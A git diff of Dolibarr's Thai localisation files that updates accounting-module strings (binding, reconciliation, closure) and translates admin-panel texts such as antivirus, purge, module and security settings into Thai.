-DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product accounting account -DescVentilMore=In most cases, if you use predefined products or services and you set the account number on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". -DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product accounting account -DescVentilTodoCustomer=Bind invoice lines not already bound with a product accounting account -ChangeAccount=Change the product/service accounting account for selected lines with the following accounting account: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product accounting account (only record not already transfered in accountancy are visible) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=Consult here the list of the lines of vendor invoices and their accounting account DescVentilTodoExpenseReport=Bind expense report lines not already bound with a fee accounting account DescVentilExpenseReport=Consult here the list of expense report lines bound (or not) to a fee accounting account @@ -278,30 +285,31 @@ DescVentilExpenseReportMore=If you setup accounting account on type of expense r DescVentilDoneExpenseReport=Consult here the list of the lines of expenses reports and their fees accounting account Closure=Annual closure -DescClosure=Consult here the number of movements by month who are not validated & fiscal years already open -OverviewOfMovementsNotValidated=Step 1/ Overview of movements not validated. (Necessary to close a fiscal year) -AllMovementsWereRecordedAsValidated=All movements were recorded as validated -NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated -ValidateMovements=Validate movements +DescClosure=Consult here the number of movements by month not yet validated & locked +OverviewOfMovementsNotValidated=Overview of movements not validated and locked +AllMovementsWereRecordedAsValidated=All movements were recorded as validated and locked +NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated and locked +ValidateMovements=Validate and lock movements... DescValidateMovements=Any modification or deletion of writing, lettering and deletes will be prohibited. All entries for an exercise must be validated otherwise closing will not be possible ValidateHistory=Bind Automatically AutomaticBindingDone=Automatic bindings done (%s) - Automatic binding not possible for some record (%s) -ErrorAccountancyCodeIsAlreadyUse=ข้อผิดพลาดที่คุณไม่สามารถลบบัญชีบัญชีนี้เพราะมันถูกนำมาใช้ -MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s | Credit = %s +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used +MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s Balancing=Balancing FicheVentilation=Binding card GeneralLedgerIsWritten=Transactions are written in the Ledger GeneralLedgerSomeRecordWasNotRecorded=Some of the transactions could not be journalized. If there is no other error message, this is probably because they were already journalized. -NoNewRecordSaved=No more record to journalize -ListOfProductsWithoutAccountingAccount=List of products not bound to any accounting account +NoNewRecordSaved=No more record to transfer +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=Change the binding Accounted=Accounted in ledger NotYetAccounted=Not yet transferred to accounting ShowTutorial=Show Tutorial NotReconciled=Not reconciled -WarningRecordWithoutSubledgerAreExcluded=Warning, all operations without subledger account defined are filtered and excluded from this view +WarningRecordWithoutSubledgerAreExcluded=Warning, all lines without subledger account defined are filtered and excluded from this view +AccountRemovedFromCurrentChartOfAccount=Accounting account that does not exist in the current chart of accounts ## Admin BindingOptions=Binding options @@ -317,9 +325,10 @@ AccountingJournalType1=Miscellaneous operations AccountingJournalType2=ขาย AccountingJournalType3=การสั่งซื้อสินค้า AccountingJournalType4=ธนาคาร -AccountingJournalType5=Expenses report +AccountingJournalType5=รายงานค่าใช้จ่าย AccountingJournalType8=Inventory AccountingJournalType9=Has-new +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=This journal is already use AccountingAccountForSalesTaxAreDefinedInto=Note: Accounting account for Sales tax are defined into menu %s - %s NumberOfAccountancyEntries=Number of entries @@ -327,10 +336,13 @@ NumberOfAccountancyMovements=Number of movements ACCOUNTING_DISABLE_BINDING_ON_SALES=Disable binding & transfer in accountancy on sales (customer invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Disable binding & transfer in accountancy on purchases (vendor invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Disable binding & transfer in accountancy on expense reports (expense reports will not be taken into account in accounting) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting ## Export -NotifiedExportDate=Flag exported lines as exported (modification of the lines will not be possible) -NotifiedValidationDate=Validate the exported entries (modification or deletion of the lines will not be possible) +NotExportLettering=Do not export the lettering when generating the file +NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) +NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +DateValidationAndLock=Date validation and lock ConfirmExportFile=Confirmation of the generation of the accounting export file ? ExportDraftJournal=Export draft journal Modelcsv=รูปแบบของการส่งออก @@ -394,6 +406,26 @@ Range=Range of accounting account Calculated=Calculated Formula=Formula +## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual +Unlettering=Unreconcile +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual +AccountancyNoLetteringModified=No reconcile modified +AccountancyOneLetteringModifiedSuccessfully=One reconcile successfully modified +AccountancyLetteringModifiedSuccessfully=%s reconcile successfully modified +AccountancyNoUnletteringModified=No unreconcile modified +AccountancyOneUnletteringModifiedSuccessfully=One unreconcile successfully modified +AccountancyUnletteringModifiedSuccessfully=%s unreconcile successfully modified + +## Confirm box +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? +ConfirmMassDeleteBookkeepingWriting=Bulk Delete confirmation +ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? + ## Error SomeMandatoryStepsOfSetupWereNotDone=Some mandatory steps of setup was not done, please complete them ErrorNoAccountingCategoryForThisCountry=No accounting account group available for country %s (See Home - Setup - Dictionaries) @@ -406,6 +438,10 @@ Binded=Lines bound ToBind=Lines to bind UseMenuToSetBindindManualy=Lines not yet bound, use menu %s to make the binding manually SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Sorry this module is not compatible with the experimental feature of situation invoices +AccountancyErrorMismatchLetterCode=Mismatch in reconcile code +AccountancyErrorMismatchBalanceAmount=The balance (%s) is not equal to 0 +AccountancyErrorLetteringBookkeeping=Errors have occurred concerning the transactions: %s +ErrorAccountNumberAlreadyExists=The accounting number %s already exists ## Import ImportAccountingEntries=Accounting entries @@ -432,6 +468,5 @@ FECFormatMulticurrencyCode=Multicurrency code (Idevise) DateExport=Date export WarningReportNotReliable=Warning, this report is not based on the Ledger, so does not contains transaction modified manually in the Ledger. If your journalization is up to date, the bookkeeping view is more accurate. ExpenseReportJournal=Expense Report Journal -InventoryJournal=Inventory Journal NAccounts=%s accounts diff --git a/htdocs/langs/th_TH/admin.lang b/htdocs/langs/th_TH/admin.lang index dec2043069b..372752df2bf 100644 --- a/htdocs/langs/th_TH/admin.lang +++ b/htdocs/langs/th_TH/admin.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - admin -BoldRefAndPeriodOnPDF=Print reference and period of product item in PDF -BoldLabelOnPDF=Print label of product item in Bold in PDF +BoldRefAndPeriodOnPDF=พิมพ์ข้อมูลอ้างอิงและระยะเวลาของรายการสินค้าในรูปแบบ PDF +BoldLabelOnPDF=พิมพ์ฉลากสินค้าเป็นตัวหนาใน PDF Foundation=มูลนิธิ Version=เวอร์ชั่น Publisher=ผู้เผยแพร่ @@ -18,8 +18,8 @@ FileIntegrityIsOkButFilesWereAdded=ผ่านการตรวจสอบค FileIntegritySomeFilesWereRemovedOrModified=การตรวจสอบความสมบูรณ์ของไฟล์ล้มเหลว ไฟล์บางไฟล์ถูกแก้ไข ลบ หรือเพิ่ม GlobalChecksum=Global checksum MakeIntegrityAnalysisFrom=ทำการวิเคราะห์ความสมบูรณ์ของไฟล์แอปพลิเคชันจาก -LocalSignature=Embedded local signature (less reliable) -RemoteSignature=Remote distant signature (more reliable) +LocalSignature=Embedded local signature (ความน่าเชื่อถือน้อยกว่า) +RemoteSignature=Remote distant signature (เชื่อถือได้มากขึ้น) FilesMissing=ไฟล์ที่ขาดหายไป FilesUpdated=ไฟล์ล่าสุด FilesModified=ไฟล์ที่มีการแก้ไข @@ -51,8 +51,6 @@ ClientSortingCharset=Client collation WarningModuleNotActive=โมดูล %s ต้องเปิดใช้งาน WarningOnlyPermissionOfActivatedModules=สิทธิ์เฉพาะที่เกี่ยวข้องกับการเปิดใช้งานโมดูลจะแสดงที่นี่ คุณสามารถเปิดใช้งานโมดูลอื่น ๆ ในหน้าแรก> Setup-> หน้าโมดูล DolibarrSetup=ติดตั้ง Dolibarr หรืออัพเกรด -InternalUser=ผู้ใช้ภายใน -ExternalUser=ผู้ใช้ภายนอก InternalUsers=ผู้ใช้ภายใน ExternalUsers=ผู้ใช้ภายนอก UserInterface=หน้าจอผู้ใช้ @@ -80,14 +78,14 @@ DisableJavascript=ปิดใช้งานฟังก์ชัน JavaScript DisableJavascriptNote=หมายเหตุ: เพื่อการทดสอบหรือดีบักเท่านั้น สำหรับการเพิ่มประสิทธิภาพสำหรับคนตาบอดหรือเบราว์เซอร์ข้อความ คุณอาจต้องการใช้การตั้งค่าในโปรไฟล์ของผู้ใช้ UseSearchToSelectCompanyTooltip=นอกจากนี้ถ้าคุณมีจำนวนมากของบุคคลที่สาม (> 100 000) คุณสามารถเพิ่มความเร็วโดยการตั้งค่า COMPANY_DONOTSEARCH_ANYWHERE คงเป็น 1 ใน Setup-> อื่น ๆ ค้นหาแล้วจะถูก จำกัด ในการเริ่มต้นของสตริง UseSearchToSelectContactTooltip=นอกจากนี้ถ้าคุณมีจำนวนมากของบุคคลที่สาม (> 100 000) คุณสามารถเพิ่มความเร็วโดยการตั้งค่า CONTACT_DONOTSEARCH_ANYWHERE คงเป็น 1 ใน Setup-> อื่น ๆ ค้นหาแล้วจะถูก จำกัด ในการเริ่มต้นของสตริง -DelaiedFullListToSelectCompany=Wait until a key is pressed before loading content of Third Parties combo list.
      This may increase performance if you have a large number of third parties, but it is less convenient. -DelaiedFullListToSelectContact=Wait until a key is pressed before loading content of Contact combo list.
      This may increase performance if you have a large number of contacts, but it is less convenient. -NumberOfKeyToSearch=Number of characters to trigger search: %s -NumberOfBytes=Number of Bytes +DelaiedFullListToSelectCompany=รอจนกระทั่งกดปุ่มก่อนที่จะโหลดเนื้อหาของรายการคอมโบของบุคคลที่สาม
      การดำเนินการนี้อาจเพิ่มประสิทธิภาพหากคุณมีบุคคลที่สามจำนวนมาก แต่สะดวกน้อยกว่า +DelaiedFullListToSelectContact=รอจนกระทั่งกดปุ่มก่อนที่จะโหลดเนื้อหาของรายการคำสั่งผสมที่ติดต่อ
      สิ่งนี้อาจเพิ่มประสิทธิภาพหากคุณมีผู้ติดต่อจำนวนมาก แต่สะดวกน้อยกว่า +NumberOfKeyToSearch=จำนวนอักขระที่จะเรียกใช้การค้นหา: %s +NumberOfBytes=จำนวนไบต์ SearchString=ค้นหา สตริง NotAvailableWhenAjaxDisabled=ไม่สามารถใช้ได้เมื่ออาแจ็กซ์ปิดการใช้งาน -AllowToSelectProjectFromOtherCompany=On document of a third party, can choose a project linked to another third party -TimesheetPreventAfterFollowingMonths=Prevent recording time spent after the following number of months +AllowToSelectProjectFromOtherCompany=ในเอกสารของบุคคลที่สาม สามารถเลือกโครงการที่เชื่อมโยงกับบุคคลที่สามรายอื่นได้ +TimesheetPreventAfterFollowingMonths=ป้องกันการใช้เวลาบันทึกหลังจากจำนวนเดือนต่อไปนี้ JavascriptDisabled=ปิดใช้งาน JavaScript UsePreviewTabs=ใช้แท็บตัวอย่าง ShowPreview=โชว์พรีวิว @@ -109,11 +107,11 @@ NextValueForReplacements=ค่าถัดไป (เปลี่ยน) MustBeLowerThanPHPLimit=หมายเหตุ: ปัจจุบันการกำหนดค่า PHP ของคุณจำกัดขนาดไฟล์สูงสุดสำหรับการอัปโหลด %s%sโดยไม่คำนึงถึงค่าของพารามิเตอร์นี้ NoMaxSizeByPHPLimit=หมายเหตุ: ไม่ จำกัด มีการตั้งค่าในการกำหนดค่าของ PHP MaxSizeForUploadedFiles=ขนาดสูงสุดของไฟล์ที่อัปโหลด (0 ไม่อนุญาตให้อัปโหลดใด ๆ ) -UseCaptchaCode=Use graphical code (CAPTCHA) on login page and some public pages +UseCaptchaCode=ใช้รหัสกราฟิก (CAPTCHA) ในหน้าเข้าสู่ระบบและหน้าสาธารณะบางหน้า AntiVirusCommand=เส้นทางแบบเต็มคำสั่งป้องกันไวรัส -AntiVirusCommandExample=Example for ClamAv Daemon (require clamav-daemon): /usr/bin/clamdscan
      Example for ClamWin (very very slow): c:\\Progra~1\\ClamWin\\bin\\clamscan.exe +AntiVirusCommandExample=ตัวอย่างสำหรับ ClamAv Daemon (ต้องการ clamav-daemon): /usr/bin/clamdscan
      ตัวอย่างสำหรับ ClamWin (ช้ามาก): c:\\Progra~1\\ClamWin\\bin\\clamscan.exe AntiVirusParam= พารามิเตอร์เพิ่มเติมเกี่ยวกับบรรทัดคำสั่ง -AntiVirusParamExample=Example for ClamAv Daemon: --fdpass
      Example for ClamWin: --database="C:\\Program Files (x86)\\ClamWin\\lib" +AntiVirusParamExample=ตัวอย่างสำหรับ ClamAv Daemon:--fdpass
      ตัวอย่างสำหรับ ClamWin: --database="C:\\Program Files (x86)\\ClamWin\\lib" ComptaSetup=การติดตั้งโมดูลบัญขี UserSetup=การตั้งค่าการจัดการผู้ใช้ MultiCurrencySetup=การตั้งค่าหลายสกุลเงิน @@ -147,51 +145,52 @@ Box=วิดเจ็ต Boxes=วิดเจ็ต MaxNbOfLinesForBoxes=จำนวนบรรทัดสูงสุดสำหรับวิดเจ็ต AllWidgetsWereEnabled=วิดเจ็ตทั้งหมดที่มีเปิดใช้งานแล้ว +WidgetAvailable=Widget available PositionByDefault=Default order Position=ตำแหน่ง -MenusDesc=Menu managers set content of the two menu bars (horizontal and vertical). -MenusEditorDesc=The menu editor allows you to define custom menu entries. Use it carefully to avoid instability and permanently unreachable menu entries.
      Some modules add menu entries (in menu All mostly). If you remove some of these entries by mistake, you can restore them disabling and reenabling the module. +MenusDesc=ตัวจัดการเมนูกำหนดเนื้อหาของแถบเมนูสองแถบ (แนวนอนและแนวตั้ง) +MenusEditorDesc=ตัวแก้ไขเมนูช่วยให้คุณกำหนดรายการเมนูแบบกำหนดเองได้ ใช้อย่างระมัดระวังเพื่อหลีกเลี่ยงความไม่เสถียรและรายการเมนูที่ไม่สามารถเข้าถึงได้อย่างถาวร
      บางโมดูลเพิ่มรายการเมนู (ในเมนู ทั้งหมด ส่วนใหญ่). หากคุณลบรายการเหล่านี้บางส่วนโดยไม่ได้ตั้งใจ คุณสามารถกู้คืนรายการเหล่านี้ได้โดยปิดใช้งานและเปิดใช้งานโมดูลอีกครั้ง MenuForUsers=เมนูสำหรับผู้ใช้ LangFile=ไฟล์ .lang -Language_en_US_es_MX_etc=Language (en_US, es_MX, ...) +Language_en_US_es_MX_etc=ภาษา (en_US, es_MX, ...) System=ระบบ SystemInfo=ข้อมูลของระบบ SystemToolsArea=พื้นที่เครื่องมือของระบบ -SystemToolsAreaDesc=This area provides administration functions. Use the menu to choose the required feature. +SystemToolsAreaDesc=พื้นที่นี้มีฟังก์ชั่นการบริหาร ใช้เมนูเพื่อเลือกคุณสมบัติที่ต้องการ Purge=ล้าง -PurgeAreaDesc=This page allows you to delete all files generated or stored by Dolibarr (temporary files or all files in %s directory). Using this feature is not normally necessary. It is provided as a workaround for users whose Dolibarr is hosted by a provider that does not offer permissions to delete files generated by the web server. -PurgeDeleteLogFile=Delete log files, including %s defined for Syslog module (no risk of losing data) -PurgeDeleteTemporaryFiles=Delete all log and temporary files (no risk of losing data). Parameter can be 'tempfilesold', 'logfiles' or both 'tempfilesold+logfiles'. Note: Deletion of temporary files is done only if the temp directory was created more than 24 hours ago. -PurgeDeleteTemporaryFilesShort=Delete log and temporary files (no risk of losing data) -PurgeDeleteAllFilesInDocumentsDir=Delete all files in directory: %s.
      This will delete all generated documents related to elements (third parties, invoices etc...), files uploaded into the ECM module, database backup dumps and temporary files. +PurgeAreaDesc=หน้านี้อนุญาตให้คุณลบไฟล์ทั้งหมดที่สร้างหรือจัดเก็บโดย Dolibarr (ไฟล์ชั่วคราวหรือไฟล์ทั้งหมดใน %s ไดเรกทอรี). โดยปกติแล้วการใช้คุณสมบัตินี้ไม่จำเป็น มีไว้เพื่อเป็นวิธีแก้ปัญหาสำหรับผู้ใช้ที่ Dolibarr โฮสต์โดยผู้ให้บริการที่ไม่ได้ให้สิทธิ์ในการลบไฟล์ที่สร้างโดยเว็บเซิร์ฟเวอร์ +PurgeDeleteLogFile=ลบ log ไฟล์ รวมถึง %s กำหนดไว้สำหรับโมดูล Syslog (ไม่มีความเสี่ยงในการสูญเสียข้อมูล) +PurgeDeleteTemporaryFiles=ลบบันทึกและไฟล์ชั่วคราวทั้งหมด (ไม่มีความเสี่ยงในการสูญเสียข้อมูล) พารามิเตอร์สามารถเป็น 'tempfilesold', 'logfiles' หรือทั้งสองอย่าง 'tempfilesold+logfiles' หมายเหตุ: การลบไฟล์ชั่วคราวจะทำได้ต่อเมื่อไดเร็กทอรี temp ถูกสร้างขึ้นนานกว่า 24 ชั่วโมงที่ผ่านมา +PurgeDeleteTemporaryFilesShort=ลบบันทึกและไฟล์ชั่วคราว (ไม่มีความเสี่ยงในการสูญเสียข้อมูล) +PurgeDeleteAllFilesInDocumentsDir=ลบไฟล์ทั้งหมดในไดเรกทอรี: %s.
      การดำเนินการนี้จะลบเอกสารที่สร้างขึ้นทั้งหมดที่เกี่ยวข้องกับองค์ประกอบ (บุคคลที่สาม ใบแจ้งหนี้ ฯลฯ...) ไฟล์ที่อัปโหลดไปยังโมดูล ECM ดัมพ์สำรองฐานข้อมูล และไฟล์ชั่วคราว PurgeRunNow=ล้างในขณะนี้ -PurgeNothingToDelete=No directory or files to delete. +PurgeNothingToDelete=ไม่มีไดเรกทอรีหรือไฟล์ที่จะลบ PurgeNDirectoriesDeleted=% ไฟล์หรือไดเรกทอรีลบ -PurgeNDirectoriesFailed=Failed to delete %s files or directories. +PurgeNDirectoriesFailed=ลบไม่สำเร็จ %s ไฟล์หรือไดเรกทอรี PurgeAuditEvents=ล้างทุกเหตุการณ์การรักษาความปลอดภัย -ConfirmPurgeAuditEvents=Are you sure you want to purge all security events? All security logs will be deleted, no other data will be removed. +ConfirmPurgeAuditEvents=คุณแน่ใจหรือไม่ว่าต้องการล้างกิจกรรมด้านความปลอดภัยทั้งหมด บันทึกความปลอดภัยทั้งหมดจะถูกลบ และจะไม่มีการลบข้อมูลอื่นๆ GenerateBackup=สร้างการสำรองข้อมูล Backup=การสำรองข้อมูล Restore=คืนข้อมูล RunCommandSummary=การสำรองข้อมูลได้รับการเปิดตัวที่มีคำสั่งต่อไป BackupResult=ผลการสำรองข้อมูล BackupFileSuccessfullyCreated=แฟ้มสำรองข้อมูลที่สร้างที่ประสบความสำเร็จ -YouCanDownloadBackupFile=The generated file can now be downloaded +YouCanDownloadBackupFile=ไฟล์ที่สร้างขึ้นสามารถดาวน์โหลดได้แล้ว NoBackupFileAvailable=ไม่มีไฟล์สำรองข้อมูลที่มี ExportMethod=วิธีการส่งออก ImportMethod=วิธีนำเข้า ToBuildBackupFileClickHere=เพื่อสร้างแฟ้มสำรองข้อมูลคลิก ที่นี่ -ImportMySqlDesc=To import a MySQL backup file, you may use phpMyAdmin via your hosting or use the mysql command from the Command line.
      For example: +ImportMySqlDesc=ในการนำเข้าไฟล์สำรอง MySQL คุณสามารถใช้ phpMyAdmin ผ่านทางโฮสติ้งของคุณหรือใช้คำสั่ง mysql จากบรรทัดคำสั่ง
      ตัวอย่างเช่น: ImportPostgreSqlDesc=ที่จะนำเข้าแฟ้มสำรองข้อมูลคุณต้องใช้คำสั่ง pg_restore จากบรรทัดคำสั่ง: ImportMySqlCommand=% s% s โมดูลที่เปิดใช้งาน จะแสดง -ModulesDesc=The modules/applications determine which features are available in the software. Some modules require permissions to be granted to users after activating the module. Click the on/off button %s of each module to enable or disable a module/application. -ModulesDesc2=Click the wheel button %s to configure the module/application. -ModulesMarketPlaceDesc=You can find more modules to download on external websites on the Internet... -ModulesDeployDesc=If permissions on your file system allow it, you can use this tool to deploy an external module. The module will then be visible on the tab %s. -ModulesMarketPlaces=Find external app/modules -ModulesDevelopYourModule=Develop your own app/modules -ModulesDevelopDesc=You may also develop your own module or find a partner to develop one for you. -DOLISTOREdescriptionLong=Instead of switching on www.dolistore.com web site to find an external module, you can use this embedded tool that will perform the search on the external market place for you (may be slow, need an internet access)... -NewModule=New module -FreeModule=Free -CompatibleUpTo=Compatible with version %s -NotCompatible=This module does not seem compatible with your Dolibarr %s (Min %s - Max %s). -CompatibleAfterUpdate=This module requires an update to your Dolibarr %s (Min %s - Max %s). -SeeInMarkerPlace=See in Market place +ModulesDesc=โมดูล/แอปพลิเคชันจะกำหนดคุณลักษณะที่มีในซอฟต์แวร์ บางโมดูลจำเป็นต้องให้สิทธิ์แก่ผู้ใช้หลังจากเปิดใช้งานโมดูล คลิกปุ่มเปิด/ปิด %s ของแต่ละโมดูลเพื่อเปิดหรือปิดใช้งานโมดูล/แอปพลิเคชัน +ModulesDesc2=คลิกปุ่ม %s เพื่อกำหนดค่าโมดูล/แอปพลิเคชัน +ModulesMarketPlaceDesc=คุณสามารถค้นหาโมดูลเพิ่มเติมเพื่อดาวน์โหลดได้จากเว็บไซต์ภายนอกบนอินเทอร์เน็ต... +ModulesDeployDesc=หากสิทธิ์ในระบบไฟล์ของคุณอนุญาต คุณสามารถใช้เครื่องมือนี้เพื่อปรับใช้โมดูลภายนอกได้ โมดูลจะปรากฏบนแท็บ %s. +ModulesMarketPlaces=ค้นหาแอป/โมดูลภายนอก +ModulesDevelopYourModule=พัฒนาแอป/โมดูลของคุณเอง +ModulesDevelopDesc=คุณยังสามารถพัฒนาโมดูลของคุณเองหรือหาพันธมิตรเพื่อพัฒนาโมดูลให้กับคุณ +DOLISTOREdescriptionLong=แทนที่จะเปิดเว็บไซต์ www.dolistore.com หากต้องการค้นหาโมดูลภายนอก คุณสามารถใช้เครื่องมือที่ฝังไว้นี้ซึ่งจะทำการค้นหาในตลาดภายนอกให้กับคุณ (อาจช้า ต้องใช้อินเทอร์เน็ต)... +NewModule=โมดูลใหม่ +FreeModule=ฟรี +CompatibleUpTo=เข้ากันได้กับรุ่น %s +NotCompatible=โมดูลนี้ดูเหมือนจะเข้ากันไม่ได้กับ Dolibarr ของคุณ %s (ต่ำสุด %s - มากสุด %s). +CompatibleAfterUpdate=โมดูลนี้ต้องการการอัปเดต Dolibarr ของคุณ %s (ต่ำสุด %s - สูงสุด %s). +SeeInMarkerPlace=ดูในมาร์เก็ตเพลส SeeSetupOfModule=ดูการตั้งค่าของโมดูล %s -SetOptionTo=Set option %s to %s +SetOptionTo=ตั้งค่าตัวเลือก %s ถึง %s Updated=อัพเดต AchatTelechargement=ซื้อ / ดาวน์โหลด -GoModuleSetupArea=To deploy/install a new module, go to the Module setup area: %s. +GoModuleSetupArea=หากต้องการปรับใช้/ติดตั้งโมดูลใหม่ ให้ไปที่ส่วนการตั้งค่าโมดูล:%s. DoliStoreDesc=DoliStore สถานที่อย่างเป็นทางการสำหรับตลาด Dolibarr ERP / CRM โมดูลภายนอก -DoliPartnersDesc=List of companies providing custom-developed modules or features.
      Note: since Dolibarr is an open source application, anyone experienced in PHP programming should be able to develop a module. -WebSiteDesc=External websites for more add-on (non-core) modules... -DevelopYourModuleDesc=Some solutions to develop your own module... +DoliPartnersDesc=รายชื่อบริษัทที่ให้บริการโมดูลหรือฟีเจอร์ที่พัฒนาขึ้นเอง
      หมายเหตุ: เนื่องจาก Dolibarr เป็นแอปพลิเคชั่นโอเพ่นซอร์ส ใครก็ตาม ที่มีประสบการณ์ในการเขียนโปรแกรม PHP ควรสามารถพัฒนาโมดูลได้ +WebSiteDesc=เว็บไซต์ภายนอกสำหรับโมดูลเพิ่มเติม (ที่ไม่ใช Core)... +DevelopYourModuleDesc=โซลูชันบางอย่างเพื่อพัฒนาโมดูลของคุณเอง... URL=URL -RelativeURL=Relative URL -BoxesAvailable=Widgets available -BoxesActivated=Widgets activated +RelativeURL=URL สัมพัทธ์ +BoxesAvailable=Widgets ที่มี +BoxesActivated=Widgets ที่เปิดใช้งาน ActivateOn=เปิดใช้งานบน ActiveOn=เปิดใช้งานใน -ActivatableOn=Activatable on +ActivatableOn=เปิดใช้งาน บน SourceFile=แฟ้มแหล่งที่มา AvailableOnlyIfJavascriptAndAjaxNotDisabled=มีจำหน่ายเฉพาะในกรณีที่ไม่ได้ใช้งาน JavaScript ปิดการใช้งาน Required=ที่จำเป็น UsedOnlyWithTypeOption=ตัวเลือกที่ใช้โดยวาระการประชุมบางส่วนเท่านั้น Security=ความปลอดภัย Passwords=รหัสผ่าน -DoNotStoreClearPassword=Encrypt passwords stored in database (NOT as plain-text). It is strongly recommended to activate this option. -MainDbPasswordFileConfEncrypted=Encrypt database password stored in conf.php. It is strongly recommended to activate this option. +DoNotStoreClearPassword=เข้ารหัสรหัสผ่านที่จัดเก็บไว้ในฐานข้อมูล (ไม่ใช่ข้อความธรรมดา) ขอแนะนำให้เปิดใช้งานตัวเลือกนี้ +MainDbPasswordFileConfEncrypted=เข้ารหัสรหัสผ่านฐานข้อมูลที่จัดเก็บไว้ใน conf.php ขอแนะนำให้เปิดใช้งานตัวเลือกนี้ InstrucToEncodePass=จะมีรหัสผ่านที่เข้ารหัสเป็นไฟล์ conf.php เปลี่ยนสาย
      $ dolibarr_main_db_pass = "... ";
      โดย
      $ dolibarr_main_db_pass = "crypted:% s"; InstrucToClearPass=จะมีรหัสผ่านถอดรหัส (ชัดเจน) เป็นไฟล์ conf.php เปลี่ยนสาย
      $ dolibarr_main_db_pass = "crypted ... ";
      โดย
      $ dolibarr_main_db_pass = "% s"; -ProtectAndEncryptPdfFiles=Protect generated PDF files. This is NOT recommended as it breaks bulk PDF generation. -ProtectAndEncryptPdfFilesDesc=Protection of a PDF document keeps it available to read and print with any PDF browser. However, editing and copying is not possible anymore. Note that using this feature makes building of a global merged PDFs not working. +ProtectAndEncryptPdfFiles=ป้องกันไฟล์ PDF ที่สร้างขึ้น ไม่แนะนำเนื่องจากเป็นการหยุดการสร้าง PDF จำนวนมาก +ProtectAndEncryptPdfFilesDesc=การป้องกันเอกสาร PDF ทำให้สามารถอ่านและพิมพ์ด้วยเบราว์เซอร์ PDF ใดก็ได้ อย่างไรก็ตาม ไม่สามารถแก้ไขและคัดลอกได้อีกต่อไป โปรดทราบว่าการใช้คุณลักษณะนี้ทำให้การสร้าง PDF ที่ผสานรวมทั้งหมดไม่ทำงาน Feature=ความสามารถ DolibarrLicense=ใบอนุญาต Developpers=นักพัฒนา / ผู้ร่วมสมทบ -OfficialWebSite=Dolibarr official web site -OfficialWebSiteLocal=Local web site (%s) -OfficialWiki=Dolibarr documentation / Wiki +OfficialWebSite=เว็บไซต์อย่างเป็นทางการของ Dolibarr +OfficialWebSiteLocal=Local เว็บไซต์ (%s) +OfficialWiki=เอกสาร Dolibarr / Wiki OfficialDemo=Dolibarr สาธิตออนไลน์ OfficialMarketPlace=ตลาดอย่างเป็นทางการสำหรับโมดูลภายนอก / addons OfficialWebHostingService=อ้างอิงเว็บโฮสติ้ง (Cloud โฮสติ้ง) ReferencedPreferredPartners=พาร์ทเนอร์ที่ต้องการ -OtherResources=Other resources -ExternalResources=External Resources -SocialNetworks=Social Networks +OtherResources=แหล่งข้อมูลอื่นๆ +ExternalResources=แหล่งข้อมูลภายนอก +SocialNetworks=สังคมออนไลน์ SocialNetworkId=Social Network ID -ForDocumentationSeeWiki=For user or developer documentation (Doc, FAQs...),
      take a look at the Dolibarr Wiki:
      %s -ForAnswersSeeForum=For any other questions/help, you can use the Dolibarr forum:
      %s -HelpCenterDesc1=Here are some resources for getting help and support with Dolibarr. -HelpCenterDesc2=Some of these resources are only available in english. +ForDocumentationSeeWiki=สำหรับเอกสารผู้ใช้หรือผู้พัฒนา (เอกสาร คำถามที่พบบ่อย...),
      ดูที่ Dolibarr Wiki:
      %s +ForAnswersSeeForum=สำหรับคำถาม/ความช่วยเหลืออื่นๆ คุณสามารถใช้ฟอรัม Dolibarr:
